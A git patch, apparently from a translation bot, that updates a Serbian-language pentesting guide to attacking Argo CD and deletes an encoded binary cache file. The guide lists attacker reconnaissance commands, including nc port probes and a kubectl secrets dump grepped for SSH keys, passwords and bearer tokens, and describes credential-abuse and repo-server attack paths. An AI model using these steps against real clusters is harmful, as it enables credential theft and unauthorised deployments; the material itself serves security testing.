From 44b9534f05f4918caebe3c1aff31f0a4a20a9211 Mon Sep 17 00:00:00 2001 From: Translator Date: Sun, 19 Jul 2026 09:26:23 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/azure-security/az-post-exploitation/az --- .../__pycache__/translator.cpython-312.pyc | Bin 27040 -> 0 bytes src/pentesting-ci-cd/argocd-security.md | 161 +++++++++--------- .../az-post-exploitation/README.md | 4 + ...az-container-registry-post-exploitation.md | 87 ++++++++++ .../az-services/az-container-registry.md | 86 +++++----- 5 files changed, 217 insertions(+), 121 deletions(-) delete mode 100644 scripts/__pycache__/translator.cpython-312.pyc create mode 100644 src/pentesting-cloud/azure-security/az-post-exploitation/az-container-registry-post-exploitation.md diff --git a/scripts/__pycache__/translator.cpython-312.pyc b/scripts/__pycache__/translator.cpython-312.pyc deleted file mode 100644 index 4c7d15a2a94e3e215e2614393e35f61c4168e1bc..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 27040 zcmeIbdvp|6nkN{M@0XN%zYz%tq(m>?81b^u0|Y_>NjxmD<&+{MQjbhIG6g7|vQ;%T zQ^LbGVye0k>#DV?yLw9uY+E(mGeystIfJ|0Q`FQxHy64YLtQ$9O-22`4_rBM^$jEST_#M4-c3SIZ-uyVkQZ{r%|f2IdC(-}f6LsvMJT{KAF*;= zDz)%irrt{7RiWftd~cOds^u<2x>s0-k_Mq1@vXvoeDkEfTZ9crs}?qXi|efsHX*DP zDiGEQn-SIvTM%v&DiLlMd_omq?-0Cr+bL{CxJ#%;xLc?}xJRf(xYy2!F9>xbRU9{K zlol{j`-FORRCo^W+;CX$uNo7!-P^9_>fJByAD&dd=ucsXuv4%KyYB72Yf@5q?n`p+ z5%wbI3tuDWKA{0Q_kWF?2ZV#dA#u~&oN)O2#(OW`HGV}K8igZ5)7Qw?EVKx%UnAd9 z;h4}S9KUzsD|_EAoD_=1gF?r>&b#KcR!-?-smAW6BE5&PMyJ(O{W<)P^tc-P2j~39 zDkS|W+K2y%{-(wRt{72uT|EEnZN_S{4!@=5)}LChTE)Y|zoVzCvEiF)On+)+j-t#z z)6>;hZyRc>#JBINDf&}wS?_VS-cO0g-{!t=P*br=4-fyIo?DIeoe`Ep&;;FLRPX==K#Mcdd9@ZI$F=ZS4_HM^I2r z<+;GfZ!y0bwB9ZTy-S57y}+QK5xbs+j#R_&|E#xEjfq-Gh9mX~XIaj9^}GI5`}Qo{ zKo+a-oLWDF(jyc-^ZpfM#UPv)Ph*F_^nIgV5;O77_4?IVDCbN2(yW&i_};T9|3_*m z{VDx#D1RP*FRlH3_+RRI)tJz$LT=`6a07-R{JosdaZ_BB3-Q-2QEvDrYF_=Rj@V7Z z^+FR$Olh;NLPHzRHghjyz4cxcUBmxcFRR9e|E(I+pW?}T7gPwlx!%4ZuJ>iJZ}>eu zhZ+<2ibutZU$U-#s^-$4Vyk#jUFG6&vGcA)`PSPnzC8RhJ)asA`_*<}udUtwpR0NG zr}(m33VqK--}^zk`iFm^=TKwn2=d(Zd=qB}H$(r_79#b3GI6ODsKHFFKy9qq`yR1b zY}LyNuLylZhTcn91-s~rcuA)!NZTg1A?>W5Hpx%&0|uVW;T3KZCk|F{Qhx6c^6nEZ zibKz0otMzg-k}Ra*MrLQ3V(&WYJ7>i!f)cXW4&Afq?b4z|E~YPO1iiI6Y6q@mrq(c z$HhQn8)ByLYr>eWbVA&mx6C}|nvl^{lww(v1t&Y3TiW{?+uItuTe|zu%2SUCGZm$al z>U>v1^~t=>Q!O2hZGA^tx_kPXjgm1Chc@zJZaj}nEG&hp(xq?;`IAuGbll_w(ZP(s`z*ue+tGv!l5?X`t*PE8&1^72)H{#z`}{zCU*DDbwAmRL4NeGO zOb892#&D=!pS-&9$z(BA(wCZoKEmlfe;=zv+KNiH<1h4oBbeqs&dgu7Wi6N1$_LNJ zvd(>GHo7g-M^|kYbM8t;-t4)=mZnD;%@1uW1tquqH~sUrc!783=&y`iW()sWCRe}j ze&PESiMpdRLpMgQjm*_2GPgeLnLfI*xA8&cf83SWdurzBjT6^SB#L$^%I0GosxDZvXvb_ZuE` zJv2U;kX0Oy-8fQE?#r>=K}kAES)f2&TEm&XNzD`x51Q+^G0CMv9JVRI`1HrK|UqJ9&@rN%Fa+D^4afkc^ zbu1qX8l|C71B+47fia=M)08R|4tgYjsv7l!f?)L#x(W<=wajC_t9=C2FNPXC9TQ{y zqT~qkj5JH}Q zF?>Z711bzH|JJP|SA5iHPorKD5+=s5=0hGddfXRc&(K8wxD*@^L!mnKg8^Vc7h}58 zdYzULeIFkc!=i9XDM`BubcvPgkm@mkk+P#{BTKyjy{Ynr!{XR@*puYzBSvq7C*nda z(j>-<`V?`h-KwjrixjT`Kp7$AO94XnBGqRC*zMSls6Zq>oIs^dYub!@ZAmi-@{pKx z=)FlA(eI?aXkjOeFeloGU{4{h#CEyX@sifq+PN=J~p9e<$&f@yBG zgexeS?pVn!nk$`u?e_Y=%Jt4zR}Bt(H@}j<{?;ouUzu-;B0Wfec+tSG;{u6(9r*G@{%b$Juz2!8_JjTM>8|$<%SXE9?z8f_^YYo3uzjs?>yJi+}C}orKzp4J(=Cra;m+tspVu#M^9f*=ZO{ws8SO~Ae~m( z`$E0|5KTmsh&qkY=RyQnNG{Hmb>qOb1Bs%oiJF6P=ONj2NUFm(sS3d}gH9-%4Z1?2 zKzy`8AJ&E%c~ZZqCf*b8uTKF;%5|QmOp~+J5>U0JqEmdB_6Pfc*fnz8Mbt25m@-EB zVU1X*Inqf4R6RxE4E2k^Gg-h8HGRAFsw-$YAL|eR9uQm;Uz{kzX&(1 zNhH4=e7&67q5%Wdp(-J~rpP}^Elv`8v6$F8qzUv4DhmeKmgyF->KOZ3qfo9vEX00D z9wC-5AYKtA28iYH1bky4G2u(Tu(l9AW1uC9Krj#-3ZM$lq?lTKk-Q$-1X{HUkVqNJ zKNy?{2z8!TR7j|sDkX}NqAw=-rk{(AEZG1rEf*4dNG?y@C!Wz1cg9)T%CGdv1+ONud@F_PmkMiQg*6K=#|!r-vi1XaZ`t>mjk9OUSrvq3 z{n7bme`C#0A=mXm!AXf9?&qJkX?>F-bxm$aV)EM8( z^isHQ8^S-U<`E_>q2PoBY0RO@IifI-zME+uvR(gY*gN00K+A#z}&;9gWKV^s- zLWU^c{Z%D+bq`D#!zq(Y`i@RZ({|+u)`PS~*VG7nS}sjPgFR_TOV>(2zgMH!c{*FE zvzu>O()zjv)|s)u^l17P*ie)y2Su&QH9m{w=|LH2CE`wlP z;#J>37{Uem^MC8Crt!K*uX%mgSwOs zLR#>L!_*CBz$O&IvtMGo#z~(vA_T7x(}BK?f<>M14WZu{uYpSnI}oX9R;LOQ3p6XJ zh*((+FU*M+LrC+?(n1%H-Y^QlWMDP%oiTGlyvAr8zOAtnO1mQ+W|!rd?-?*PEFsK(2wcv z(@WGHfD+j^8ajjs)2|)+9zcXhME>!2U2d~`Hv92El!%`*8R&OwJY(Vxso73pa_!t`8J!bT-n7K0=L7h|ho^vpw2 zaDud5=g?*8Jc4AlvhUJHDVeV}93)O3yd>$wXeA3!e$iY=uh8J>8n72r(#DsMzZ5_T zGDL?yLVzLvEQc$uSt{BYE84l(8ZX)}oAN(&mMy!BWn1ybW%WyCdt+sL?>pjUO|q$Y z#p;lqWpV4eALh!N8{!-Ge_-9eV#`=H@EKVvS-EoF=6Kc?*ocPXiYW(|RWOtBady63P#Mpznm)eb-niu65_4~fSGGQM#NFM~$3D*9 zw3J;F%dS~C|5w?2X3Q(@>>HEUCgtMYixWS2{l~9A*#5_FJaV_LxU%IOf5J7a%0W4M z0p682-O1L_Gt`dg4=wzs{Rq;RJaBx9cZ7w2agJ>i00Vx7 zxC_RbOH^;tq6i1z{lT;lhE*6E7(*a4U=N3=0h-+C0ul^LVaBS3q!2#+A^t)&2&TCe z_m=sIxVv`x*k=~Vcyk4Dw`aO_#hE#C^~Rgm-kiG}$A~&BWmBax7^zO8EXR=+hz-Ux zBF_;1bOr(6=r^p9ZsncAH1fGti8TZOGTf*nO&unQpEOJwy{3+csSe_CPpj9IGz3FQ z)3`5;z2XmH@k1>QD-lGW%cwS8^vQr;e_(`()yO81>&*W`St=1=bgcGoU-`zBZ%=(= z>bqUH&fPqB>*CFe^A!u0cz%7tx^3B=yX?&R;=mBk$Oh(pL`Yf3Y#|0nE!yxwPSI8g zGNpd1e4|T4!#RsK^+3(q1LiOttA7gu!lA2M~A3>1Baz?CAy3QuD}?nI4Xj) zc@zZ}G*h6$gP^)0qWeCT21QCqr!q&eN}k$ULcg`a05}Ga0ZS+>z;5BSF@*)x zCQ!hJrCn%9(sZf~7Sh)#Y7v-y01Q5ThV&qYfFZ>&=GCGQyQDRx1Cd^&0%q2d5DmM| zs%H_Wu4M0H-=%Ni`@g_ns0{(MuUXX#tqU*6nY*Ah&!}9mzMF9;2~`(tMzzAA%9gQfm7d7=QR z>4T?OYy}f|UXGOALz=WsgS3{0L9j46AWPqMfMJE@j~mkXY^aPgpZ$)nnj`={fQGho z{0wEc3H5N_qKWMgS(xgMvLyAaPyadPukmh4p-aIlwa~RhY_+w}hx!L6 zBi7p5*Cza8IO0TlsGcm{p?Zl1IcZ}A8bsrBLv4S=b)ouYvTu-C!4t97`^O*wh3X^L zdg_!|AIYK&O~G+LzOzyI+(ccCZ0`s%6ArYTkb-=H$?zpaYCNN&?=q#J)z1l39k6;I zp%yq4*@)D!5@9-t^gN`hC-E-D#b5D_jxgRry2?I+_6%GRNHsgkxDbnY6_%e+(l+KB z5y5DLKngESK$cCKX-ak^-9*r!+s7pJjZcIwd0h&^cG3(&&qOnrbZZl>Al_s~ioT_w zyA?zp4#EIULzFa8Leh!~Su1RaFr`+~P9IWH0rEf}`_59C+AC=bNdrnHq_CjHrv4Q1 zpl)EiPi+kZqdwG0ONj&x)`t{Zbty$^Bw{)L9Dkt>us|RY4lcib(YzRW(C~0l?j4ec z$78+Ya{X)ZJZbvmV{6`$b$!gbet!E0)`}I|#`%_ohQ;vxv+}0qN4A!aQwf*lO@|V; z!=G8W!pix}@q)VP&ZibG+cRTYu{mzoui0lSuDc;x%(~`!=33>#Jqqo{`w*N5aN5wxV{)5tc{qGLl8G1K(CwPD8 z!Rzt5?s#6$j2$&*<=nV(?aGZeuDvnmPq?dAT$yBSpR*@i8_|Z6O*3sPg~hk7+`Mut zdNT^M$4l|Ty)(yFz)-YbYo9Bc-QxisllfShD)DXTD#t)f?jKqEbm;P&FKXlp{H409_ zdC#S~)Dab2i|R@zb(#sxN1FA_wR1j;69xC$xz>`ER2l{M+=8^)vUDt|>+6JUJry;O zmf*RcRGJ1OM{DsKIiGDYplRAX9i)&=Tn8w^4|HBy$YoIT)-I6_^_x660gdMn^7Xb) za^8XtuTi>=s**-1nIeYTM&-?-AP->3v52!rSD#5YkoS{gRKP??C6ZZN3qHDbVjSuv z(KnW~1SS8FKhOisOy+=Z94a8O52$v0BFt<=5odQ#Gn{*vtpLtLjz~5v0faaSrz(|3 zN;;lT(y%JS;0#DhSC<0B-juS4zZxlel^L*ssG0c;IE<|9g6N49Qzm*tBMH$H<)ZeB zLP~OAasorWQU~iD6=u=}jJwh-k`!C4S$dn|jPXZcU*qqgq+n5AD!Gx`1@pJuC7Oe zKik5Y9kOHdBhwZIwP-9D285VcCfmG)R9IGdMTM`rQ{ri2{u^M@3C(=pOiq@96`mM) z0<~D}92@}wFL6zsSGF$yy{o|DQs1d zgmgaYie?C03HO`xg_@De7J(uFFf)Ye5eTYM9@UVBHfy4EJ}kF{+&DFp3B;u>U)hTM zuh|Ozdb667#*dkSHFZY?H*1h)r|fAha_9`P&iIoksP-R1fJtz&-V~>mbFmeP(IZln zZsd)^BOHD}+?4$ddp9SfG2A-*-=r>K8bz?_trN1>>cLmkuraMCIXbMb zFbw7DIcNF6&xE|cN6nRKHK!3GjIpwIOutnd{;^Q-4{SrB-lwnKhO|>G7>6dI__uFE zs7xsN?Muz_lI!nNo8(Fx^-{gZfh~WZR!Gh?Xk|LIs2PltzH*fvvM$}{?%BP8J->#) zFO;hg1um=!@?Vu#E3-ZVrnLkD`&X6t`@$wnIOPlzAz(jfkIRQO;a*LJ8bR}Jga~fL z+VVs#cT-ePC?^c_HDG9GTvISM=r9OEI;Ke*`HkvmKtYt&PT>A8v?LvZg0s?m7Hd1e z{!HTR$XMjRy%d~a(m2^agM;u#f`A4OLUL&qr5a6J023uKR##wvg`1LxN~sc^sCX(V ztX^nh9NL2cNXkk9SbpJFI6!`~h>iyVpBZ7{hXLM^Y_ss;CW#t`QCOHzd7Y;@nC4WD zPm0m)Ou)|=K859Etr3)rdPBxkqbHhsDLgjn3Hyeac@=u$kr33KNs|;LAs1~5!!0T@ z)kAuT;3&L1STk5_>5HNdATOFcFqx$`mNbQMu>l_*fp3<<4ikE$;z9ldO?fE5Cb`>?kg!?bSNU=^U3I>*2 z?Knn_*^H?zs>z)cE+MGX;gXXw1k?PnK?zL;!oI5vnBH|vU&u2w;TOoAzQN(B#WVye zQMW1~phmzCL8(820}f!lYqY^pMuc?BOiNIM&tqd~lR9`;U?hiCT=9+X_W8QW93Q3` zPdO36)fGU`1*MVDINaxIJUGfz;~5$lhufwXix7Pw7@kV3tC7kY4?N|=P(+|T5Fco2 zS!cAK(yZ65(E}wb)&?msP=Q!CROj)-KEZ$}W_VcTnG@?qSc`GU2rD*ROTOPhe^^AROeZv8E60;3ZTkj%QMvjavB&^`oUVKjI%$W_z2f}Uf%?B zb7;yz5=iQe4c@_xCq?WfVf#k?8z477SJU24puw7DJBN73Id)_o{&!gM6(6cmksqWKLs zcs?N(_jB_pa@~k*$G%bz@bv2yL*^9}vyS4#!31Q&8*pVVaCGUu8iY!e-bYHwpI8)7 zly!1oLXrsSy*3dH`y%B{!14^iG4JOF&uL1==qN=Zg&2iY30Ue#uSw@vL?Ke%sm0+z z=u_0EJGZGm*q@MmB@t^7DeX}XC9Rb$;=p)_SpSgfBjsIMT+h2l2YG;?6~KMkKQ=L@ zU|RGN>dK+;rHF^^0j3pDsR&F}X;dU~?BtpyYdp-F$ke|K1CyTm3a~KdSDSAj+mMKr z0QjSmk@c!`h*|?1JC6X(DmjwZMe4t7_UhK2qa^S6g!FW+J&`<2qTgmmHIMW*luk2gPQg2zu72R{`LeryBis}*I81g|ts(Y$P+ z7^z>RKce6T3ieSDrJx@{GE?oG*hgcoD95b>mx6vAB}iIRdq(;bDzK4)7779soI>Eu zOxjem%M?7Ie50j*MIb6DXhe`SQ|;T8$Btx{iU9gj z4Im|aAiN`#iM)gx^`D{_`u7Bg0vGhDq5lV?JI#IQbi@2Vio^qx<$Bb1?A>>N^ZhNd zw{gka9`m+8>`8dLmZ5#mzUG)Q!%t#%`&;{#^YUj}$l)gMgxr2ne)(1Tl~?6_0dg%dAe=YS7f#4R5_bO1G9d?_8-|aR!It@T;#_?;% zXQkiic$`u2y-jnzx3|1gbGzp4x>yEG1aLE|Pq?-%15V?$wwY!C)Uy|VuX{fG?X&M( zynXTQS7I5}8ql?~Z@!niaQbe+yJdIE?v}?g_R9NTPWS{_9E|&hmV9F|-&oui{9u1@ z*W=fZ1u_q==H&Vjp!V(xuRk@)JPEZ^hooqrO#zx|Id|0Me3=pVlk%Wh$x=yb*} z-Gw-mF=w9h&s~tK&dUWaC9-;#3rm03`8coW*72Li=fd&43VHLP9}X;3yu0H>r5un}+{`<1*efFoQ}(!nS$E zy>9N(f@#5jKmUR0f%x!j+}-oY*7LWkr+HdipNE=&3f``2uHxRWa&#Ju@9(JZIB5Ly z4Lst1UfF8H%P;EbIsTxWED@%nef}!8ipaD~|8MW;4sb46IBC^49V$5;U&|X&)2-H~|e+Do?^GQw8D( zp9>zx@TJh~53DK{z;cnU22OoYRitXGU=K%&)`ES#1B&0ZTc!C(;Hni19Yd6IkW*7m z=xu=ShVJ?FWqs7tZGc9jvUZ)Chk>*;O|@fEMgwJjLtkmUbUz2(pIdN5Fm9xL3|0R3 zg2_~w8~!`Y2xj^>^(lQ7%<|VO;F<6bS_RB$$=MZ`9tY_Gq*iNu1b zo+STj#EG|*JTjH!Hx2!dx9RuEVR*GN{^1lAwUBo?gchAQAosh++_=;JWb9D$*ot&(b8U6r{%n4#2-90gqwBQxZz!7zFEF)8?O70cQw&HcB@GF0f zuXJ=QbPfSL#!?779Cww0_+_}sMU2Q`Uh(wF<&2!^R$$E;6PaEV3bq?(tv`jac-=Cv zY2Li)c4;iDV%GfFQ!AI%&YVp7m(6W{r}}pF+qDT-)pB0JOv_p&TzRV|v)!ef$0Fj` zkZ^8U&M%&6{iQP-lXQ=RRFzP^sKx{7qZNnI?=HR}z zwTO;t0in_lhcA=}!mnMPPb+W!it=k94gEkzC@W3t$J6B#f+1bsdR@{@?Q0pSzoPCn zoH}tdM6*I@9Z&bU&C*lVn2N~NCr;AiOgLHZ^ovrUsmxXL59g^d{Ry(7U6_Kr8X||| z9ytS8Sl_M81arE;-WgqJfIs@_UFepBU0?!H);FaQ`?tn2t-g=o1XZ za`@DDYtsk-$=htUtNkXj&e9G=}db|W~4GJX~`UNtnmk!iYev66Cx_Fpc@6* z*r_gZnh8mNgHOLtxQ1kxY3`%KO*77wqLO#4x2^BEZoB3$ELO*h4$Wk&tXu!ix!dQ6 zQC#pYUWl)2lx-#C+OGPej3wMP;2vj>&Yhe)EN^X)bM`-S9e~eDhMRm;zGq+{-M8Ix zRl`zMW2~z2{f$4{^4^wsRa?C1_yU_7aZ;{6m~b6ZV4j#exR9|p zw%GTeS#G-^AG;{$y!^=Z%BQ(pQNs$Hf|NmCT471;wXlTu?tZtO&Hlnt{ z*Sh=WH*dsrqwe)zu+3-bkba4FN&f{wkMv&=Mx1H>bYA;!-c-{6N`+|;NplFi7U>g; zvu%?LPdMy^%OZ0sV-kEw`VaV=bgR1t>T}v=$qeR@M%r|yHGO`|(IxFcbC3%7Bb>RdmiLHa^diZ;?cE!0py!WmnY`!bFa%e)sI{? zpJsCfUS(6HXb_smal~FT`nClT)jbQxM$iG}7X`+}F~by1gv%#x=j!m9Bbji@tM5K@ z@?>MzOQiQHNmJM2xQ>3*ZG19fC-X*KI5;*ManP{{{}66H5fu zV(L@nprKdr+p`Br91K~}*O2soqNRUIBTl4X8t0D!ID%s;n0K<7ZBd6{)x;~?^>tC3encE| z47(?s>fm@6HQjS)_Qv!Qd*BTAwOSUnv(o}j-Q{d8grHxVHN1x7_gWTS{je)@{Y$N4 zjAd#b=pe3;vBu04rluq95!FO9cAN0CbEDZl;Vejg8gAyZkrj0c*>9VKobRU{Se^Xh zRbhXlUKRG-6=F51yZLfEA`X4uBzY-fo(K=tzJTQ~p@mYMf&>L5u`o4kEB3@M=;c3B z@ShMU7%|CTk^U5K5x1r`hRPkvWE`fX&{($vp3SO$+?&C!sAGrJlP0`V<>w zUrHLv(R8r_#35$BOdX-`qdQEbkEl8qu=F?`?4YF3+OEH8N?mG%gbS#-e@m#K76FdF zTR2ldNI%)Pbc=9ceN%~)}pm17$?lLF7Y zbs-;zs-`<07ekp>u#%mBtN3Q|cS@&^f0Vs`#{Afswd5>~IZNkS63&gwuJZZK3l%@8 ziMi@xuJXsO@*mbM7Tw?d!29rw{8Fzh4$Gm*#6~Dup)oo_N}f$D%s65|b|@HgJh(v% z3aWiK_kCyod`T>~db%CWFk8QU;u|NvYq({-X}#sX>7LJwXVu@Ycw{=ff*u6s1{RJ! zvhTXjFWc-ltkvEc_jqk5FH&bBKwi&Xb$7F=L<#f}X#2BBwWSoYvv2i5Z)r>>k>ChW2@K!DRI z2tsYGs#cG9dT`+n&Jm~y%uQ2WDkwk}b{rXndp;c*HC=*3yYxF~HhJ$W-sh3cN7xBu zX1k>Nm3F92gdaXpj5^dj60z6T`o{gWBjRMl-FT`ECT`YZnA7T{I|LOc0ocjx$W}7D zr!G8E&T0cPWJe*)kaT^XCulfhA5?m01X{X zo8j64+%3co@b=*@kB}HSoK_c3*~8LK^(Ye#6FV9FVa>rAaF(u`1tD_4h=n5`G`|)c z>Bm&7BNL{&An(vAjK~iCHmX#TIzkvIt<@f%eu$)w?xaZ#7w+bng!c#=^1L(5FC=|V zVQj)Js8|twSO`fMW&rolM3}@R5%TfNpxKe?R=OR)LtKnr3nAMtbOz?ptzVWIqe<2- zt>egB-;^?v!V`hHglHe(=RntHk*7!M{Cqfw0x#ke$#czM*PNs`hWR2qTU8zGzsz!4 z7pbI`rVZQks{lKP4z6HiBULppJHvw_1T(U>mS|?RvpI^GS(oH%Xphr%Q`8M0ibzFI zYV#4w&<&>S%DdE^Q|Qbw^7skBWK8v`>(V2_jfV~k=>tVh6#BtWW!a|BeO<(YB6Rr1 zN&IQ*NDj^+)?)^xZ3sY0iF0V}@cNTBpc_mD?B{fzi_tu|p@T5`{1P!03Q;5>0++<# z>u?M+BN8Mqt7z6$j%{FdNv^VO+$48;QO_jbu&|IBqc1=f|P5o;ghFAor0)=PXKIE?JHncV-OJ)o>mo_|Bh~~$iG2eC^Yc$Ck_$t@ zq~3*MXPW9}`s9riW2}=^T{1a649A@c21i@2iUSishooLg#Voj!0qzQ^16@iPX^ARz z`9gFDn{v6G^dbS?Ljj3%(*KSCMCR}CVCT%YDT*H30g$7KQSp%U0=kL+a1sjA%c_y* z`HwjFN1XE`&i`SWZhHUfd-g z5?T6Sdiuy>vwZjzOFylpFWX$pw(Q4rro$^|Zk4z8V8%1f@~d{vT=W^Pg0f%+%ucP+ zVYz;cfe2_I(3Aie*lo z+*v-|{5W;qt@CE*{E;6W{lU>6b^f4p@yJh({`lxmI)B{xpy_AF-aGd2^m`}byH3R` zPRH}QVCBf!I9s)pvoV&lF`iQ~eF8oZH>R#lDHm78-QMYA%dj+DxOQQ>^+VVCdDD*^ zKXAld)zd9B>@LrI{=8LoR3%JaE!%QV!L6E`HPa_x_Q=dz#=U^9o37>jQe23eX_;e6A`|pp$GTR>6jw4$^5xcOV z?`Gfpg?Rq<8OMjtqPdcUv*JTC#2D_O?IlPV7A$-*hgv z_w?e156+yOZ=@Od!!~*E>DZ=o@%889B`?jmKPs-8X?vVqx|F>sMz@>niDmD>rHk2n z64{+{_l4z>vRUhL@rHNS-(J5^e!u9!zK8vPIrQ_Pza0JfsC;2izVuqWLz2UjSTRuu zMo-~>-DH@xEN2zo%DkC5cR7)@<#Bn{Qu(%6`L?CtEZ;doU2VbMC-)BK?OL5o~|e5vR}tmp)86Q(bp|0*}t48<`27q!-|O4ncP&O!K> xI~zB4+s(0ptgaeMY>NT$4{FTa7W)U=o!z|sg9B!y#Cb}ITZ|O9o4a%D{~wsU?GFF| diff --git a/src/pentesting-ci-cd/argocd-security.md b/src/pentesting-ci-cd/argocd-security.md index 493f17b08..60818014f 100644 --- a/src/pentesting-ci-cd/argocd-security.md +++ b/src/pentesting-ci-cd/argocd-security.md @@ -4,16 +4,16 @@ ## Osnovne informacije -[Argo CD](https://argo-cd.readthedocs.io/) je GitOps platforma za kontinuiranu isporuku za Kubernetes. Ona prati Git repozitorijume, renderuje Kubernetes manifeste pomoću alata kao što su Helm, Kustomize, Jsonnet ili config management plugins, i usklađuje trenutno stanje clustera sa željenim stanjem sačuvanim u Git-u. +[Argo CD](https://argo-cd.readthedocs.io/) je GitOps platforma za kontinuiranu isporuku za Kubernetes. Prati Git repozitorijume, renderuje Kubernetes manifeste pomoću alata kao što su Helm, Kustomize, Jsonnet ili plugins za upravljanje konfiguracijom, i usklađuje trenutno stanje klastera sa željenim stanjem sačuvanim u Git-u. -Iz perspektive napadača, tretirajte Argo CD kao **deployment engine sa Kubernetes credentials**. Korisna kompromitacija Argo CD-a može dovesti do: +Iz perspektive napadača, Argo CD treba posmatrati kao **deployment engine sa Kubernetes credentials**. Uspešan kompromis Argo CD-a može dovesti do: -- Pristupa privatnim Git repozitorijumima i credentials za repozitorijume. -- Pristupa Kubernetes cluster secrets koje koristi Argo CD. -- Izvršavanja koda za generisanje manifesta u `argocd-repo-server`. +- Pristupa privatnim Git repozitorijumima i credentials repozitorijuma. +- Pristupa Kubernetes secrets koje koristi Argo CD. +- Izvršavanja koda tokom generisanja manifesta u `argocd-repo-server`. - Neovlašćenog deployment-a Kubernetes objekata kroz pouzdane Git repozitorijume, Argo CD aplikacije ili manipulaciju cache-om. -## Arhitektura i interesantne komponente +## Arhitektura i zanimljive komponente Uobičajeni Kubernetes objekti i servisi: ```bash @@ -24,21 +24,21 @@ kubectl get networkpolicy -n argocd 2>/dev/null ``` Zanimljive usluge: -- **`argocd-server`**: javni API, web UI, CLI API, autentikacija i autorizacija. -- **`argocd-application-controller`**: poredi željeno i aktivno stanje, zatim primenjuje resurse na Kubernetes. +- **`argocd-server`**: javni API, web UI, CLI API, autentifikacija i autorizacija. +- **`argocd-application-controller`**: upoređuje željeno i trenutno stanje, a zatim primenjuje resurse na Kubernetes. - **`argocd-repo-server`**: klonira repozitorijume, kešira Git podatke i pokreće Helm/Kustomize/Jsonnet/plugins za generisanje manifesta. Podrazumevani gRPC port je **8081**. -- **`argocd-redis`**: keš za application, manifest i Git reference podatke. Podrazumevani Redis port je **6379**. -- **`argocd-applicationset-controller`**: generiše Argo CD `Application` objekte iz generatora kao što su Git, SCM, clusters i pull requests. +- **`argocd-redis`**: keš za podatke o aplikacijama, manifestima i Git referencama. Podrazumevani Redis port je **6379**. +- **`argocd-applicationset-controller`**: generiše Argo CD `Application` objekte pomoću generatora kao što su Git, SCM, klasteri i pull request-ovi. -Iz kompromitovanog pod-a ili internog network segmenta, proverite internu dostupnost: +Iz kompromitovanog poda ili internog segmenta mreže proverite internu dostupnost: ```bash nc -vz 443 nc -vz 8081 nc -vz 6379 ``` -## Public API / UI Attacks +## Napadi na javni API / UI -Ako imate Argo CD credentials ili exposed instancu, počnite sa normalnom API površinom: +Ako imate Argo CD credentials ili izloženu instancu, počnite sa uobičajenom API površinom: ```bash argocd login argocd account get-user-info @@ -49,15 +49,15 @@ argocd repo list argocd cluster list argocd admin settings rbac can ``` -Korisne attack paths: +Korisni napadni putevi: -- **Application write access**: izmeni `source.repoURL`, `source.path`, Helm values, Kustomize options, plugin settings ili sync options tako da Argo CD deploy-uje manifests pod kontrolom napadača. -- **Project misconfiguration**: `AppProject` objekti mogu dozvoliti široke `sourceRepos`, široke `destinations`, nesigurne `clusterResourceWhitelist` ili slabe namespace restrikcije. -- **Repository credential abuse**: repository secrets, GitHub App credentials, SSH keys i tokens mogu omogućiti push u trusted repos ili dodavanje malicious dependencies. -- **Cluster credential abuse**: cluster secrets mogu sadržati bearer tokens ili exec-provider configuration koje Argo CD koristi za deploy u target clusters. -- **Local admin / project tokens**: dugotrajni Argo CD tokens mogu se ponovo koristiti kroz API osim ako nisu revoked ili expired. +- **Application write access**: izmenite `source.repoURL`, `source.path`, Helm vrednosti, Kustomize opcije, podešavanja plugin-a ili sync opcije tako da Argo CD deploy-uje manifeste pod kontrolom napadača. +- **Project misconfiguration**: `AppProject` objekti mogu dozvoliti široke `sourceRepos`, široke `destinations`, nesiguran `clusterResourceWhitelist` ili slaba ograničenja namespace-a. +- **Repository credential abuse**: repository secrets, GitHub App credentials, SSH keys i tokens mogu omogućiti push u pouzdane repo-e ili dodavanje malicioznih dependencies. +- **Cluster credential abuse**: cluster secrets mogu sadržati bearer tokens ili exec-provider konfiguraciju koju Argo CD koristi za deploy u ciljne klastere. +- **Local admin / project tokens**: dugotrajni Argo CD tokens mogu se ponovo koristiti putem API-ja ako nisu opozvani ili im nije istekao rok. -Enumeriši configuration iz Kubernetes kada imaš cluster read access: +Enumerišite konfiguraciju iz Kubernetes-a kada imate read access nad klasterom: ```bash kubectl get applications.argoproj.io -A -o yaml kubectl get appprojects.argoproj.io -A -o yaml @@ -65,26 +65,26 @@ kubectl get applicationsets.argoproj.io -A -o yaml kubectl get secrets -n argocd -o yaml | grep -nE 'repoURL|sshPrivateKey|password|bearerToken|githubApp|tlsClientCertData|tlsClientCertKey' kubectl get cm -n argocd argocd-cm argocd-rbac-cm argocd-cmd-params-cm -o yaml ``` -## Trusted Git Repository Abuse +## Zloupotreba pouzdanog Git repozitorijuma -Ako možete da push-ujete u repository kome Argo CD veruje, obično možete uticati na to šta se deploy-uje. Uticaj zavisi od granica `AppProject` i permissions service account-a koje koristi application controller. +Ako možete da izvršite push u repozitorijum kojem Argo CD veruje, obično možete da utičete na ono što se deploy-uje. Uticaj zavisi od granica `AppProject` objekta i dozvola service account-a koje koristi application controller. Uobičajene lokacije za payload: -- Raw Kubernetes YAML unutar application path-a. -- Helm chart templates i `values.yaml`. +- Neobrađeni Kubernetes YAML unutar putanje aplikacije. +- Helm chart template-i i `values.yaml`. - Kustomize overlays, remote bases i generators. -- Jsonnet ili input za config management plugin. -- ApplicationSet generator files koji kreiraju ili ažuriraju `Application` objects. +- Jsonnet ili ulazni podaci config management plugin-a. +- Datoteke generatora za ApplicationSet koje kreiraju ili ažuriraju `Application` objekte. -Proverite da li app koristi automated sync, pruning, self-heal, sync windows ili manual approvals: +Proverite da li aplikacija koristi automated sync, pruning, self-heal, sync windows ili manual approvals: ```bash kubectl get applications.argoproj.io -A \ -o custom-columns='NS:.metadata.namespace,APP:.metadata.name,PROJECT:.spec.project,AUTOSYNC:.spec.syncPolicy.automated,REPO:.spec.source.repoURL,PATH:.spec.source.path,DEST:.spec.destination.server' ``` ## Direktna zloupotreba `argocd-repo-server` -Ne pretpostavljajte da je javni Argo CD API jedina attack surface. Interni Argo CD komponente komuniciraju sa `argocd-repo-server` preko gRPC. Ako arbitrary pods mogu da dosegnu repo-server, attacker-controlled interni requests mogu da zaobiđu provere koje normalno sprovodi `argocd-server`. +Ne pretpostavljajte da je javni Argo CD API jedina attack surface. Interni Argo CD komponente komuniciraju sa `argocd-repo-server` putem gRPC-a. Ako proizvoljni podovi mogu da pristupe 